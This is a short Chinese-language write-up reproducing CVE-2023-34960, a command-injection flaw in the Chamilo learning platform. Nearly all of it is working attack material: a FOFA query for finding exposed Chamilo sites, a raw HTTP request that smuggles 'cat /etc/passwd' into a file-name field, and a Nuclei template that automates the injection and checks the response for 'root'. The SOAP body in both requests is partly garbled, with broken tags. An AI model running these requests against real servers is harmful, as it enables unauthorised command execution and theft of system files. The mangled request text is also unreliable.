Chamilo命令执行漏洞（CVE-2023-34960）复现

​fofa: body="content=“Chamilo 1”
请求包：

POST /main/webservices/additional_webservices.php HTTP/2
Host: www.target.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Content-Length: 830
Content-Type: text/xml; charset=utf-8
​
file_datafile_name`{}`.pptx'|" |cat /etc/passwd||a #service_ppt2lp_size720x540

nuclei poc:

id: CVE-2023-34960

info:
  name: ​Chamilo rce
  author: ab0ne
  severity: high
  description: |
    Chamilo command injection vulnerability, attackers can execute commands through /main/webservices/additional_webservices.php.
  reference:
    - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34960
    cwe-id: CWE-77
    epss-score: 0.95016
  metadata:
    max-request: 1
    shodan-query: http.html:"Chamilo"
    fofa-query: body="content=\"Chamilo 1"
    verified: true
  tags: injection,Chamilo,cve,cve2023,rce

requests:
  - raw:
      - |
        POST /main/webservices/additional_webservices.php HTTP/2
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml; charset=utf-8
        
        -ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{http://ip:port}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">-ENV:Body>:wsConvertPpt>:type="ns2:Map">>:type="xsd:string">file_data>:type="xsd:string">>>>:type="xsd:string">file_name>:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #service_ppt2lp_size720x540

    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body), "root") && status_code == 200' 

python poc:
https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py